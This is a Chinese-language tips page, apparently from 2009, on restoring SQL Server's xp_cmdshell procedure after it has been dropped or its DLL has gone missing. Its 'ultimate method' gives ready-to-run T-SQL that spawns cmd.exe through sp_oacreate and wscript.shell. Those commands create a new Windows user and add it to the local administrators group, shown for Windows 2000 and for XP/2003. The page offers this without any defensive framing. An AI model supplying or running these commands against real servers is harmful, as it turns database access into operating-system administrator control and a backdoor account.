首页 电脑 电脑学堂 查看内容

四种常见情况恢复执行xp_cmdshell

2009-3-11 11:05 872 0

摘要:   1 未能找到存储过程'master..xpcmdshell'.  恢复方法:查询分离器连接后,  第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllnam...
关键词: shell EXEC cmdshell 分离器 addextendedproc sp 方法 dll oacreate oamethod

  1 未能找到存储过程'master..xpcmdshell'.  恢复方法:查询分离器连接后,  第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int  第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'  然后按F5键命令执行完毕  2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)  恢复方法:查询分离器连接后,  第一步执行:sp_dropextendedproc "xp_cmdshell"  第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'  然后按F5键命令执行完毕  3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)  恢复方法:查询分离器连接后,  第一步执行:exec sp_dropextendedproc 'xp_cmdshell'  第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'  然后按F5键命令执行完毕  4.终极方法.  如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:  查询分离器连接后,  2000servser系统:  declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'  declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'  xp或2003server系统:  declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'  declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部